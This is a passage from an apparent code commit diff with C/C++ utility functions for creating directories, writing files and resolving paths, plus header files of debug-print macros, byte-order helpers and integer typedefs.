*sp = '\0';
status = do_mkdir( copypath, mode );
*sp = SEPC;
}
pp = sp + 1;
}
if( !status && *pp )
{
status = do_mkdir( path, mode );
}
free( copypath );
return status;
}
#if 0
Buffer ReadFile( const string &path )
{
Stat filestat;
Buffer ret;
FILE *file = fopen( path.c_str(), "rb" );
if( !file )
{
cout << "ReadFile -> error opening file " << path << endl;
return Buffer();
}
if( fstat( fileno( file ), &filestat ) )
{
cout << "ReadFile -> can't stat " << path << endl;
fclose( file );
return Buffer();
}
ret.Resize( filestat.st_size );
if( (s64)ret.Size() != filestat.st_size )
{
cout << "ReadFile -> not enough memory"<< endl;
fclose( file );
return Buffer();
}
if( fread( ret.Data(), 1, filestat.st_size, file ) != (u32)filestat.st_size )
{
cout << "ReadFile -> error reading file " << path << endl;
fclose( file );
return Buffer();
}
fclose( file );
return ret;
}
#endif
bool WriteFile( const string &path, const Buffer &ba )
{
FILE *fp = fopen( path.c_str(), "wb" );
if( !fp )
{
cout << "WriteFile -> can't open " << path << endl;
return false;
}
if( fwrite( ba.ConstData(), 1, ba.Size(), fp ) != ba.Size() )
{
cout << "WriteFile -> error writing to " << path << endl;
fclose( fp );
return false;
}
fclose( fp );
return true;
}
bool DirExists( const string &path )
{
struct stat filestat;
if( !stat( path.c_str(), &filestat ) && ( ( filestat.st_mode ) & S_IFMT ) == S_IFDIR )
return true;
return false;
}
bool DirExists( const char *path )
{
struct stat filestat;
if( path && !stat( path, &filestat ) && ( ( filestat.st_mode ) & S_IFMT ) == S_IFDIR )
return true;
return false;
}
string ResolvePath( const string &path )
{
#ifdef WIN32 // fucking bill gates
char full[ _MAX_PATH ];
if( _fullpath( full, path.c_str(), _MAX_PATH ) )
{
return string( full );
}
return string();
#else
char actualpath[ PATH_MAX + 1 ];
if( realpath( path.c_str(), actualpath ) )
{
return string( actualpath );
}
return string();
#endif
}

87
source/tools.h Normal file
View File

@ -0,0 +1,87 @@
#ifndef TOOLS_H
#define TOOLS_H
#include <iostream>
#include <sstream>
#include <string>
#ifdef WIN32
#include <winsock2.h>
#else
#include <arpa/inet.h>
#endif
#include "buffer.h"
#define INC_FILE( x ) \
extern const u8 x []; \
extern const u32 x##_size;
// macros for printing pretty debug crap
#define NAME_WIDTH 30
#define TOSTR( x ) #x
#define STR( tok ) TOSTR( tok )
#define COUT_U32( x ) \
printf( " %-" STR( NAME_WIDTH ) "s: %08x\n", #x, x )
#define COUT_STR( x ) \
cout << left << " " << setw( NAME_WIDTH ) << #x << ": \"" << x << "\"" << endl
#define COUT_BUF( x, siz, chunk ) \
do \
{ \
Buffer x##h = x.ToHex(); \
string x##s( (const char*)x##h.ConstData(), ( siz ) << 1 ); \
u8 c = ( sizeof( chunk ) << 1 ); \
int l = x##s.size(); \
l += ( l / c ) - 1; \
for( int i = c; i < l; i += c + 1 ) \
{ \
x##s.insert( i, 1, '-' ); \
} \
cout << left << " " << setw( NAME_WIDTH ) << #x << ": " << x##s << endl; \
}while( 0 )
#define WRN \
cout << __PRETTY_FUNCTION__ << ": "
using namespace std;
inline u64 htonll( u64 v )
{
union
{
u32 lv[ 2 ];
u64 llv;
} u;
u.lv[ 0 ] = htonl( v >> 32 );
u.lv[ 1 ] = htonl( v & 0xFFFFFFFFULL );
return u.llv;
}
inline void wbe64( void *ptr, u64 val ) { *(u64*)ptr = htonll( val ); }
inline void wbe32( void *ptr, u32 val ) { *(u32*)ptr = htonl( val ); }
inline void wbe16( void *ptr, u16 val ) { *(u16*)ptr = htons( val ); }
void PutU16Str( u8* buf, const std::string &str );
void hexdump( const void *d, int len );
bool WriteFile( const string &path, const Buffer &ba );
bool DirExists( const string &path );
bool DirExists( const char *path );
#if 0
Buffer ReadFile( const string &path );
#endif
int MkPath( const char *path, mode_t mode );
string ResolvePath( const string &path );
#endif // TOOLS_H

34
source/types.h Normal file
View File

@ -0,0 +1,34 @@
#ifndef TYPES_H
#define TYPES_H
#include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef int8_t s8;
typedef int16_t s16;
typedef int32_t s32;
typedef int64_t s64;
typedef volatile u8 vu8;
typedef volatile u16 vu16;
typedef volatile u32 vu32;
typedef volatile u64 vu64;
typedef volatile s8 vs8;
typedef volatile s16 vs16;
typedef volatile s32 vs32;
typedef volatile s64 vs64;
typedef float f32;
typedef double f64;
typedef volatile f32 vf32;
typedef volatile f64 vf64;
#endif // TYPES_H